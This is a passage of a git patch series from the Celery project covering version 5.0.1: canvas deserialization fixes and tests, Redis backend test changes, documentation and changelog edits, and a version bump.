in the header - will call `save()` + mock_header_result.results = (self.app.GroupResult("foo"), ) * 42 + self.b.apply_chord(mock_header_result, None) + mock_header_result.save.assert_called_once_with(backend=self.b) + mock_header_result.save.reset_mock() + # Mixed simple and complex results in the header - will call `save()` + mock_header_result.results = itertools.islice( + itertools.cycle(( + self.app.AsyncResult("foo"), self.app.GroupResult("foo"), + )), 42, + ) + self.b.apply_chord(mock_header_result, None) + mock_header_result.save.assert_called_once_with(backend=self.b) + mock_header_result.save.reset_mock() - def test_get_set_forget(self): - tid = uuid() - self.b.store_result(tid, 42, states.SUCCESS) - assert self.b.get_state(tid) == states.SUCCESS - assert self.b.get_result(tid) == 42 - self.b.forget(tid) - assert self.b.get_state(tid) == states.PENDING + @pytest.mark.parametrize("supports_native_join", (True, False)) + def test_on_chord_part_return( + self, complex_header_result, supports_native_join, + ): + mock_result_obj = complex_header_result.return_value + mock_result_obj.supports_native_join = supports_native_join - def test_set_expires(self): - self.b = self.Backend(expires=512, app=self.app) - tid = uuid() - key = self.b.get_key_for_task(tid) - self.b.store_result(tid, 42, states.SUCCESS) - self.b.client.expire.assert_called_with( - key, 512, - ) + tasks = [self.create_task(i) for i in range(10)] + random.shuffle(tasks) + + with self.chord_context(10) as (tasks, request, callback): + for task, result_val in zip(tasks, itertools.cycle((42, ))): + self.b.on_chord_part_return( + task.request, states.SUCCESS, result_val, + ) + # Confirm that `zadd` was called even though we won't end up + # using the data pushed into the sorted set + assert self.b.client.zadd.call_count == 1 + self.b.client.zadd.reset_mock() + # Confirm that neither `zrange` not `lrange` were called + self.b.client.zrange.assert_not_called() + self.b.client.lrange.assert_not_called() + # Confirm that the `GroupResult.restore` mock was called + complex_header_result.assert_called_once_with(request.group) + # Confirm the the callback was called with the `join()`ed group result + if supports_native_join: + expected_join = mock_result_obj.join_native + else: + expected_join = mock_result_obj.join + callback.delay.assert_called_once_with(expected_join()) class test_SentinelBackend: From b27ac4ab07859b987848f02a5e5ef0c0853ee9da Mon Sep 17 00:00:00 2001 From: Lewis Kabui Date: Wed, 14 Oct 2020 12:12:24 +0300 Subject: [PATCH 032/415] Update obsolete --loglevel argument values in docs --- docs/getting-started/first-steps-with-celery.rst | 2 +- docs/userguide/periodic-tasks.rst | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/getting-started/first-steps-with-celery.rst b/docs/getting-started/first-steps-with-celery.rst index f3b80c42dbe..aefaa4aa867 100644 --- a/docs/getting-started/first-steps-with-celery.rst +++ b/docs/getting-started/first-steps-with-celery.rst @@ -159,7 +159,7 @@ argument: .. code-block:: console - $ celery -A tasks worker --loglevel=info + $ celery -A tasks worker --loglevel=INFO .. note:: diff --git a/docs/userguide/periodic-tasks.rst b/docs/userguide/periodic-tasks.rst index e68bcd26c50..1e346ed2557 100644 --- a/docs/userguide/periodic-tasks.rst +++ b/docs/userguide/periodic-tasks.rst @@ -463,7 +463,7 @@ To install and use this extension: .. code-block:: console - $ celery -A proj beat -l info --scheduler django_celery_beat.schedulers:DatabaseScheduler + $ celery -A proj beat -l INFO --scheduler django_celery_beat.schedulers:DatabaseScheduler Note: You may also add this as the :setting:`beat_scheduler` setting directly. From f2825b4918d55a40e6f839f058ee353db3b90b36 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 15 Oct 2020 12:22:38 +0300 Subject: [PATCH 033/415] Set logfile, not loglevel. --- extra/systemd/celery.service | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extra/systemd/celery.service b/extra/systemd/celery.service index 2510fb83cb0..ff6bacb89ed 100644 --- a/extra/systemd/celery.service +++ b/extra/systemd/celery.service @@ -12,7 +12,7 @@ ExecStart=/bin/sh -c '${CELERY_BIN} -A $CELERY_APP multi start $CELERYD_NODES \ --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE} \ --loglevel="${CELERYD_LOG_LEVEL}" $CELERYD_OPTS' ExecStop=/bin/sh -c '${CELERY_BIN} multi stopwait $CELERYD_NODES \ - --pidfile=${CELERYD_PID_FILE} --loglevel="${CELERYD_LOG_LEVEL}"' + --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE}' ExecReload=/bin/sh -c '${CELERY_BIN} -A $CELERY_APP multi restart $CELERYD_NODES \ --pidfile=${CELERYD_PID_FILE} --logfile=${CELERYD_LOG_FILE} \ --loglevel="${CELERYD_LOG_LEVEL}" $CELERYD_OPTS' From 05da357502a109c05b35392391299d75d181ccab Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 15 Oct 2020 12:24:45 +0300 Subject: [PATCH 034/415] Mention removed deprecated modules in the release notes. Fixes #6406. --- docs/whatsnew-5.0.rst | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/docs/whatsnew-5.0.rst b/docs/whatsnew-5.0.rst index af8dd18fa5d..9360a5b9588 100644 --- a/docs/whatsnew-5.0.rst +++ b/docs/whatsnew-5.0.rst @@ -250,6 +250,18 @@ AMQP Result Backend The AMQP result backend has been removed as it was deprecated in version 4.0. +Removed Deprecated Modules +-------------------------- + +The `celery.utils.encoding` and the `celery.task` modules has been deprecated +in version 4.0 and therefore are removed in 5.0. + +If you were using the `celery.utils.encoding` module before, +you should import `kombu.utils.encoding` instead. + +If you were using the `celery.task` module before, you should import directly +from the `celery` module instead. + .. _new_command_line_interface: New Command Line Interface From d1305f3e45dca17ea0c0c025a3a77c6aa62ec71a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?David=20Pa=CC=88rsson?= Date: Fri, 16 Oct 2020 11:00:23 +0200 Subject: [PATCH 035/415] Copy __annotations__ when creating tasks This will allow getting type hints. Fixes #6186. --- celery/app/base.py | 1 + t/unit/app/test_app.py | 10 ++++++++++ 2 files changed, 11 insertions(+) diff --git a/celery/app/base.py b/celery/app/base.py index dc7c41d804f..3e33bb068e1 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -428,6 +428,7 @@ def _task_from_fun(self, fun, name=None, base=None, bind=False, **options): '_decorated': True, '__doc__': fun.__doc__, '__module__': fun.__module__, + '__annotations__': fun.__annotations__, '__header__': staticmethod(head_from_fun(fun, bound=bind)), '__wrapped__': run}, **options))() # for some reason __qualname__ cannot be set in type() diff --git a/t/unit/app/test_app.py b/t/unit/app/test_app.py index 9571b401254..969489fa164 100644 --- a/t/unit/app/test_app.py +++ b/t/unit/app/test_app.py @@ -494,6 +494,16 @@ def foo(): finally: _imports.MP_MAIN_FILE = None + def test_can_get_type_hints_for_tasks(self): + import typing + + with self.Celery() as app: + @app.task + def foo(parameter: int) -> None: + pass + + assert typing.get_type_hints(foo) == {'parameter': int, 'return': type(None)} + def test_annotate_decorator(self): from celery.app.task import Task From b57ac624b871e31db2994610e119720a2e167a2c Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Thu, 17 Sep 2020 11:13:44 +1000 Subject: [PATCH 036/415] test: Improve chord body group index freezing test Add more elements to the body so we can verify that the `group_index` counts up from 0 as expected. This change adds the `pytest-subtests` package as a test dependency so we can define partially independent subtests within test functions. --- requirements/test.txt | 1 + t/unit/tasks/test_canvas.py | 36 +++++++++++++++++++++++++----------- 2 files changed, 26 insertions(+), 11 deletions(-) diff --git a/requirements/test.txt b/requirements/test.txt index 8d338510e71..92ed354e4c8 100644 --- a/requirements/test.txt +++ b/requirements/test.txt @@ -1,6 +1,7 @@ case>=1.3.1 pytest~=6.0 pytest-celery +pytest-subtests pytest-timeout~=1.4.2 boto3>=1.9.178 moto==1.3.7 diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index f51efab9389..874339c4687 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -2,6 +2,7 @@ from unittest.mock import MagicMock, Mock, call, patch, sentinel import pytest +import pytest_subtests # noqa: F401 from celery._state import _task_stack from celery.canvas import (Signature, _chain, _maybe_group, chain, chord, @@ -1005,22 +1006,35 @@ def test_repr(self): x.kwargs['body'] = None assert 'without body' in repr(x) - def test_freeze_tasks_body_is_group(self): - # Confirm that `group index` is passed from a chord to elements of its - # body when the chord itself is encapsulated in a group + def test_freeze_tasks_body_is_group(self, subtests): + # Confirm that `group index` values counting up from 0 are set for + # elements of a chord's body when the chord is encapsulated in a group body_elem = self.add.s() - chord_body = group([body_elem]) + chord_body = group([body_elem] * 42) chord_obj = chord(self.add.s(), body=chord_body) top_group = group([chord_obj]) # We expect the body to be the signature we passed in before we freeze - (embedded_body_elem, ) = chord_obj.body.tasks - assert embedded_body_elem is body_elem - assert embedded_body_elem.options == dict() - # When we freeze the chord, its body will be clones and options set + with subtests.test(msg="Validate body tasks are retained"): + assert all( + embedded_body_elem is body_elem + for embedded_body_elem in chord_obj.body.tasks + ) + # We also expect the body to have no initial options - since all of the + # embedded body elements are confirmed to be `body_elem` this is valid + assert body_elem.options == {} + # When we freeze the chord, its body will be cloned and options set top_group.freeze() - (embedded_body_elem, ) = chord_obj.body.tasks - assert embedded_body_elem is not body_elem - assert embedded_body_elem.options["group_index"] == 0 # 0th task + with subtests.test( + msg="Validate body group indicies count from 0 after freezing" + ): + assert all( + embedded_body_elem is not body_elem + for embedded_body_elem in chord_obj.body.tasks + ) + assert all( + embedded_body_elem.options["group_index"] == i + for i, embedded_body_elem in enumerate(chord_obj.body.tasks) + ) def test_freeze_tasks_is_not_group(self): x = chord([self.add.s(2, 2)], body=self.add.s(), app=self.app) From 89d50f5a34e3c9a16f6fd2cace4ac0dc214493dc Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Thu, 15 Oct 2020 09:21:59 +1100 Subject: [PATCH 037/415] test: Use all() for subtask checks in canvas tests When we expect all of the tasks in some iterable to meet a conditional, we should make that clear by using `all(condition for ...)`. --- t/unit/tasks/test_canvas.py | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index 874339c4687..23c805d157a 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -327,13 +327,9 @@ def test_from_dict_no_tasks(self): def test_from_dict_full_subtasks(self): c = chain(self.add.si(1, 2), self.add.si(3, 4), self.add.si(5, 6)) - serialized = json.loads(json.dumps(c)) - deserialized = chain.from_dict(serialized) - - for task in deserialized.tasks: - assert isinstance(task, Signature) + assert all(isinstance(task, Signature) for task in deserialized.tasks) @pytest.mark.usefixtures('depends_on_current_app') def test_app_falls_back_to_default(self): @@ -346,9 +342,8 @@ def test_handles_dicts(self): ) c.freeze() tasks, _ = c._frozen - for task in tasks: - assert isinstance(task, Signature) - assert task.app is self.app + assert all(isinstance(task, Signature) for task in tasks) + assert all(task.app is self.app for task in tasks) def test_groups_in_chain_to_chord(self): g1 = group([self.add.s(2, 2), self.add.s(4, 4)]) From 56acb7b22be559255e3e481851a8125726cbb4a9 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Wed, 16 Sep 2020 14:54:06 +1000 Subject: [PATCH 038/415] test: Add more tests for `from_dict()` variants Notably, this exposed the bug tracked in #6341 where groups are not deeply deserialized by `group.from_dict()`. --- t/integration/tasks.py | 66 ++++++++++++++++- t/integration/test_canvas.py | 102 +++++++++++++++++++++++++ t/unit/tasks/test_canvas.py | 139 +++++++++++++++++++++++++++++++++++ 3 files changed, 306 insertions(+), 1 deletion(-) diff --git a/t/integration/tasks.py b/t/integration/tasks.py index 629afaf2ece..1b4bb581b0c 100644 --- a/t/integration/tasks.py +++ b/t/integration/tasks.py @@ -1,6 +1,6 @@ from time import sleep -from celery import Task, chain, chord, group, shared_task +from celery import Signature, Task, chain, chord, group, shared_task from celery.exceptions import SoftTimeLimitExceeded from celery.utils.log import get_task_logger @@ -244,3 +244,67 @@ def run(self): if self.request.retries: return self.request.retries raise ValueError() + + +# The signatures returned by these tasks wouldn't actually run because the +# arguments wouldn't be fulfilled - we never actually delay them so it's fine +@shared_task +def return_nested_signature_chain_chain(): + return chain(chain([add.s()])) + + +@shared_task +def return_nested_signature_chain_group(): + return chain(group([add.s()])) + + +@shared_task +def return_nested_signature_chain_chord(): + return chain(chord([add.s()], add.s())) + + +@shared_task +def return_nested_signature_group_chain(): + return group(chain([add.s()])) + + +@shared_task +def return_nested_signature_group_group(): + return group(group([add.s()])) + + +@shared_task +def return_nested_signature_group_chord(): + return group(chord([add.s()], add.s())) + + +@shared_task +def return_nested_signature_chord_chain(): + return chord(chain([add.s()]), add.s()) + + +@shared_task +def return_nested_signature_chord_group(): + return chord(group([add.s()]), add.s()) + + +@shared_task +def return_nested_signature_chord_chord(): + return chord(chord([add.s()], add.s()), add.s()) + + +@shared_task +def rebuild_signature(sig_dict): + sig_obj = Signature.from_dict(sig_dict) + + def _recurse(sig): + if not isinstance(sig, Signature): + raise TypeError("{!r} is not a signature object".format(sig)) + # Most canvas types have a `tasks` attribute + if isinstance(sig, (chain, group, chord)): + for task in sig.tasks: + _recurse(task) + # `chord`s also have a `body` attribute + if isinstance(sig, chord): + _recurse(sig.body) + _recurse(sig_obj) diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 256ecdbd9ee..2de8c0aa428 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -9,6 +9,7 @@ from celery.exceptions import TimeoutError from celery.result import AsyncResult, GroupResult, ResultSet +from . import tasks from .conftest import get_active_redis_channels, get_redis_connection from .tasks import (ExpectedException, add, add_chord_to_chord, add_replaced, add_to_all, add_to_all_to_chord, build_chain_inside_task, @@ -1095,3 +1096,104 @@ def test_nested_chord_group_chain_group_tail(self, manager): ) res = sig.delay() assert res.get(timeout=TIMEOUT) == [[42, 42]] + + +class test_signature_serialization: + """ + Confirm nested signatures can be rebuilt after passing through a backend. + + These tests are expected to finish and return `None` or raise an exception + in the error case. The exception indicates that some element of a nested + signature object was not properly deserialized from its dictionary + representation, and would explode later on if it were used as a signature. + """ + def test_rebuild_nested_chain_chain(self, manager): + sig = chain( + tasks.return_nested_signature_chain_chain.s(), + tasks.rebuild_signature.s() + ) + sig.delay().get(timeout=TIMEOUT) + + def test_rebuild_nested_chain_group(self, manager): + sig = chain( + tasks.return_nested_signature_chain_group.s(), + tasks.rebuild_signature.s() + ) + sig.delay().get(timeout=TIMEOUT) + + def test_rebuild_nested_chain_chord(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + sig = chain( + tasks.return_nested_signature_chain_chord.s(), + tasks.rebuild_signature.s() + ) + sig.delay().get(timeout=TIMEOUT) + + @pytest.mark.xfail(reason="#6341") + def test_rebuild_nested_group_chain(self, manager): + sig = chain( + tasks.return_nested_signature_group_chain.s(), + tasks.rebuild_signature.s() + ) + sig.delay().get(timeout=TIMEOUT) + + @pytest.mark.xfail(reason="#6341") + def test_rebuild_nested_group_group(self, manager): + sig = chain( + tasks.return_nested_signature_group_group.s(), + tasks.rebuild_signature.s() + ) + sig.delay().get(timeout=TIMEOUT) + + @pytest.mark.xfail(reason="#6341") + def test_rebuild_nested_group_chord(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + sig = chain( + tasks.return_nested_signature_group_chord.s(), + tasks.rebuild_signature.s() + ) + sig.delay().get(timeout=TIMEOUT) + + def test_rebuild_nested_chord_chain(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + sig = chain( + tasks.return_nested_signature_chord_chain.s(), + tasks.rebuild_signature.s() + ) + sig.delay().get(timeout=TIMEOUT) + + def test_rebuild_nested_chord_group(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + sig = chain( + tasks.return_nested_signature_chord_group.s(), + tasks.rebuild_signature.s() + ) + sig.delay().get(timeout=TIMEOUT) + + def test_rebuild_nested_chord_chord(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + sig = chain( + tasks.return_nested_signature_chord_chord.s(), + tasks.rebuild_signature.s() + ) + sig.delay().get(timeout=TIMEOUT) diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index 23c805d157a..32c0af1db10 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -694,6 +694,32 @@ def test_from_dict(self): x['args'] = None assert group.from_dict(dict(x)) + @pytest.mark.xfail(reason="#6341") + def test_from_dict_deep_deserialize(self): + original_group = group([self.add.s(1, 2)] * 42) + serialized_group = json.loads(json.dumps(original_group)) + deserialized_group = group.from_dict(serialized_group) + assert all( + isinstance(child_task, Signature) + for child_task in deserialized_group.tasks + ) + + @pytest.mark.xfail(reason="#6341") + def test_from_dict_deeper_deserialize(self): + inner_group = group([self.add.s(1, 2)] * 42) + outer_group = group([inner_group] * 42) + serialized_group = json.loads(json.dumps(outer_group)) + deserialized_group = group.from_dict(serialized_group) + assert all( + isinstance(child_task, Signature) + for child_task in deserialized_group.tasks + ) + assert all( + isinstance(grandchild_task, Signature) + for child_task in deserialized_group.tasks + for grandchild_task in child_task.tasks + ) + def test_call_empty_group(self): x = group(app=self.app) assert not len(x()) @@ -1059,6 +1085,119 @@ def chord_add(): _state.task_join_will_block = fixture_task_join_will_block result.task_join_will_block = fixture_task_join_will_block + def test_from_dict(self): + header = self.add.s(1, 2) + original_chord = chord(header=header) + rebuilt_chord = chord.from_dict(dict(original_chord)) + assert isinstance(rebuilt_chord, chord) + + def test_from_dict_with_body(self): + header = body = self.add.s(1, 2) + original_chord = chord(header=header, body=body) + rebuilt_chord = chord.from_dict(dict(original_chord)) + assert isinstance(rebuilt_chord, chord) + + def test_from_dict_deep_deserialize(self, subtests): + header = body = self.add.s(1, 2) + original_chord = chord(header=header, body=body) + serialized_chord = json.loads(json.dumps(original_chord)) + deserialized_chord = chord.from_dict(serialized_chord) + with subtests.test(msg="Verify chord is deserialized"): + assert isinstance(deserialized_chord, chord) + with subtests.test(msg="Validate chord header tasks is deserialized"): + assert all( + isinstance(child_task, Signature) + for child_task in deserialized_chord.tasks + ) + with subtests.test(msg="Verify chord body is deserialized"): + assert isinstance(deserialized_chord.body, Signature) + + @pytest.mark.xfail(reason="#6341") + def test_from_dict_deep_deserialize_group(self, subtests): + header = body = group([self.add.s(1, 2)] * 42) + original_chord = chord(header=header, body=body) + serialized_chord = json.loads(json.dumps(original_chord)) + deserialized_chord = chord.from_dict(serialized_chord) + with subtests.test(msg="Verify chord is deserialized"): + assert isinstance(deserialized_chord, chord) + # A header which is a group gets unpacked into the chord's `tasks` + with subtests.test( + msg="Validate chord header tasks are deserialized and unpacked" + ): + assert all( + isinstance(child_task, Signature) + and not isinstance(child_task, group) + for child_task in deserialized_chord.tasks + ) + # A body which is a group remains as it we passed in + with subtests.test( + msg="Validate chord body is deserialized and not unpacked" + ): + assert isinstance(deserialized_chord.body, group) + assert all( + isinstance(body_child_task, Signature) + for body_child_task in deserialized_chord.body.tasks + ) + + @pytest.mark.xfail(reason="#6341") + def test_from_dict_deeper_deserialize_group(self, subtests): + inner_group = group([self.add.s(1, 2)] * 42) + header = body = group([inner_group] * 42) + original_chord = chord(header=header, body=body) + serialized_chord = json.loads(json.dumps(original_chord)) + deserialized_chord = chord.from_dict(serialized_chord) + with subtests.test(msg="Verify chord is deserialized"): + assert isinstance(deserialized_chord, chord) + # A header which is a group gets unpacked into the chord's `tasks` + with subtests.test( + msg="Validate chord header tasks are deserialized and unpacked" + ): + assert all( + isinstance(child_task, group) + for child_task in deserialized_chord.tasks + ) + assert all( + isinstance(grandchild_task, Signature) + for child_task in deserialized_chord.tasks + for grandchild_task in child_task.tasks + ) + # A body which is a group remains as it we passed in + with subtests.test( + msg="Validate chord body is deserialized and not unpacked" + ): + assert isinstance(deserialized_chord.body, group) + assert all( + isinstance(body_child_task, group) + for body_child_task in deserialized_chord.body.tasks + ) + assert all( + isinstance(body_grandchild_task, Signature) + for body_child_task in deserialized_chord.body.tasks + for body_grandchild_task in body_child_task.tasks + ) + + def test_from_dict_deep_deserialize_chain(self, subtests): + header = body = chain([self.add.s(1, 2)] * 42) + original_chord = chord(header=header, body=body) + serialized_chord = json.loads(json.dumps(original_chord)) + deserialized_chord = chord.from_dict(serialized_chord) + with subtests.test(msg="Verify chord is deserialized"): + assert isinstance(deserialized_chord, chord) + # A header which is a chain gets unpacked into the chord's `tasks` + with subtests.test( + msg="Validate chord header tasks are deserialized and unpacked" + ): + assert all( + isinstance(child_task, Signature) + and not isinstance(child_task, chain) + for child_task in deserialized_chord.tasks + ) + # A body which is a chain gets mutatated into the hidden `_chain` class + with subtests.test( + msg="Validate chord body is deserialized and not unpacked" + ): + assert isinstance(deserialized_chord.body, _chain) + class test_maybe_signature(CanvasCase): From 6957f960a9f398995e17c28b77e0d402137d8455 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Tue, 8 Sep 2020 13:26:38 +1000 Subject: [PATCH 039/415] fix: Ensure group tasks are deeply deserialised Fixes #6341 --- celery/canvas.py | 10 +++++++++- t/integration/test_canvas.py | 3 --- t/unit/tasks/test_canvas.py | 4 ---- 3 files changed, 9 insertions(+), 8 deletions(-) diff --git a/celery/canvas.py b/celery/canvas.py index 2150d0e872d..0279965d2ee 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -1047,8 +1047,16 @@ class group(Signature): @classmethod def from_dict(cls, d, app=None): + # We need to mutate the `kwargs` element in place to avoid confusing + # `freeze()` implementations which end up here and expect to be able to + # access elements from that dictionary later and refer to objects + # canonicalized here + orig_tasks = d["kwargs"]["tasks"] + d["kwargs"]["tasks"] = rebuilt_tasks = type(orig_tasks)(( + maybe_signature(task, app=app) for task in orig_tasks + )) return _upgrade( - d, group(d['kwargs']['tasks'], app=app, **d['options']), + d, group(rebuilt_tasks, app=app, **d['options']), ) def __init__(self, *tasks, **options): diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 2de8c0aa428..a07da12d95d 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1133,7 +1133,6 @@ def test_rebuild_nested_chain_chord(self, manager): ) sig.delay().get(timeout=TIMEOUT) - @pytest.mark.xfail(reason="#6341") def test_rebuild_nested_group_chain(self, manager): sig = chain( tasks.return_nested_signature_group_chain.s(), @@ -1141,7 +1140,6 @@ def test_rebuild_nested_group_chain(self, manager): ) sig.delay().get(timeout=TIMEOUT) - @pytest.mark.xfail(reason="#6341") def test_rebuild_nested_group_group(self, manager): sig = chain( tasks.return_nested_signature_group_group.s(), @@ -1149,7 +1147,6 @@ def test_rebuild_nested_group_group(self, manager): ) sig.delay().get(timeout=TIMEOUT) - @pytest.mark.xfail(reason="#6341") def test_rebuild_nested_group_chord(self, manager): try: manager.app.backend.ensure_chords_allowed() diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index 32c0af1db10..b6bd7f94cea 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -694,7 +694,6 @@ def test_from_dict(self): x['args'] = None assert group.from_dict(dict(x)) - @pytest.mark.xfail(reason="#6341") def test_from_dict_deep_deserialize(self): original_group = group([self.add.s(1, 2)] * 42) serialized_group = json.loads(json.dumps(original_group)) @@ -704,7 +703,6 @@ def test_from_dict_deep_deserialize(self): for child_task in deserialized_group.tasks ) - @pytest.mark.xfail(reason="#6341") def test_from_dict_deeper_deserialize(self): inner_group = group([self.add.s(1, 2)] * 42) outer_group = group([inner_group] * 42) @@ -1112,7 +1110,6 @@ def test_from_dict_deep_deserialize(self, subtests): with subtests.test(msg="Verify chord body is deserialized"): assert isinstance(deserialized_chord.body, Signature) - @pytest.mark.xfail(reason="#6341") def test_from_dict_deep_deserialize_group(self, subtests): header = body = group([self.add.s(1, 2)] * 42) original_chord = chord(header=header, body=body) @@ -1139,7 +1136,6 @@ def test_from_dict_deep_deserialize_group(self, subtests): for body_child_task in deserialized_chord.body.tasks ) - @pytest.mark.xfail(reason="#6341") def test_from_dict_deeper_deserialize_group(self, subtests): inner_group = group([self.add.s(1, 2)] * 42) header = body = group([inner_group] * 42) From 9b78de840d74d3e5cd6d4d7701ad64ba4a43fbe6 Mon Sep 17 00:00:00 2001 From: Lewis Kabui Date: Sat, 17 Oct 2020 14:36:32 +0300 Subject: [PATCH 040/415] Fix `celery shell` command --- celery/bin/shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/celery/bin/shell.py b/celery/bin/shell.py index 966773c5d11..b3b77e02fdb 100644 --- a/celery/bin/shell.py +++ b/celery/bin/shell.py @@ -130,7 +130,7 @@ def shell(ctx, ipython=False, bpython=False, import_module('celery.concurrency.eventlet') if gevent: import_module('celery.concurrency.gevent') - import celery.task.base + import celery app = ctx.obj.app app.loader.import_default_modules() From e966cf1be71766c763d884fa57cf45e7444de75c Mon Sep 17 00:00:00 2001 From: Anthony Lukach Date: Thu, 15 Oct 2020 08:53:02 -0600 Subject: [PATCH 041/415] predefined_queues_urls -> predefined_queues --- docs/getting-started/brokers/sqs.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/getting-started/brokers/sqs.rst b/docs/getting-started/brokers/sqs.rst index 5b108cdc048..2e41ce4ef9e 100644 --- a/docs/getting-started/brokers/sqs.rst +++ b/docs/getting-started/brokers/sqs.rst @@ -137,7 +137,7 @@ Predefined Queues If you want Celery to use a set of predefined queues in AWS, and to never attempt to list SQS queues, nor attempt to create or delete them, -pass a map of queue names to URLs using the :setting:`predefined_queue_urls` +pass a map of queue names to URLs using the :setting:`predefined_queues` setting:: broker_transport_options = { From 387518c6b2b53f816c5a59facafe500b075f7c01 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 18 Oct 2020 17:32:10 +0300 Subject: [PATCH 042/415] Update changelog. --- Changelog.rst | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/Changelog.rst b/Changelog.rst index a8fc6d47665..14c2b0b0b4c 100644 --- a/Changelog.rst +++ b/Changelog.rst @@ -8,6 +8,35 @@ This document contains change notes for bugfix & new features in the 5.0.x series, please see :ref:`whatsnew-5.0` for an overview of what's new in Celery 5.0. +.. _version-5.0.1: + +5.0.1 +===== +:release-date: 2020-10-18 1.00 P.M UTC+3:00 +:release-by: Omer Katz + +- Specify UTF-8 as the encoding for log files (#6357). +- Custom headers now propagate when using the protocol 1 hybrid messages (#6374). +- Retry creating the database schema for the database results backend + in case of a race condition (#6298). +- When using the Redis results backend, awaiting for a chord no longer hangs + when setting :setting:`result_expires` to 0 (#6373). +- When a user tries to specify the app as an option for the subcommand, + a custom error message is displayed (#6363). +- Fix the `--without-gossip`, `--without-mingle`, and `--without-heartbeat` + options which now work as expected. (#6365) +- Provide a clearer error message when the application cannot be loaded. +- Avoid printing deprecation warnings for settings when they are loaded from + Django settings (#6385). +- Allow lowercase log levels for the `--loglevel` option (#6388). +- Detaching now works as expected (#6401). +- Restore broadcasting messages from `celery control` (#6400). +- Pass back real result for single task chains (#6411). +- Ensure group tasks a deeply serialized (#6342). +- Fix chord element counting (#6354). +- Restore the `celery shell` command (#6421). + +.. _version-5.0.0: 5.0.0 ===== From b50b178f41c798f63aad77c0e4908c8a7139a753 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 18 Oct 2020 17:34:42 +0300 Subject: [PATCH 043/415] =?UTF-8?q?Bump=20version:=205.0.0=20=E2=86=92=205?= =?UTF-8?q?.0.1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 80aca1abc6f..ea5f7e924c0 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.0.0 +current_version = 5.0.1 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 3896f32a6fa..8cb4e40671b 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.0.0 (singularity) +:Version: 5.0.1 (singularity) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.0.0 runs on, +Celery version 5.0.1 runs on, - Python (3.6, 3.7, 3.8) - PyPy3.6 (7.6) @@ -89,7 +89,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.0 coming from previous versions then you should read our +new to Celery 5.0.1 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index 9ccaae8874d..a9f497130e7 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'singularity' -__version__ = '5.0.0' +__version__ = '5.0.1' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 0ba1f965b3f..188fd291478 100644 --- a/docs/includes/introduction.txt 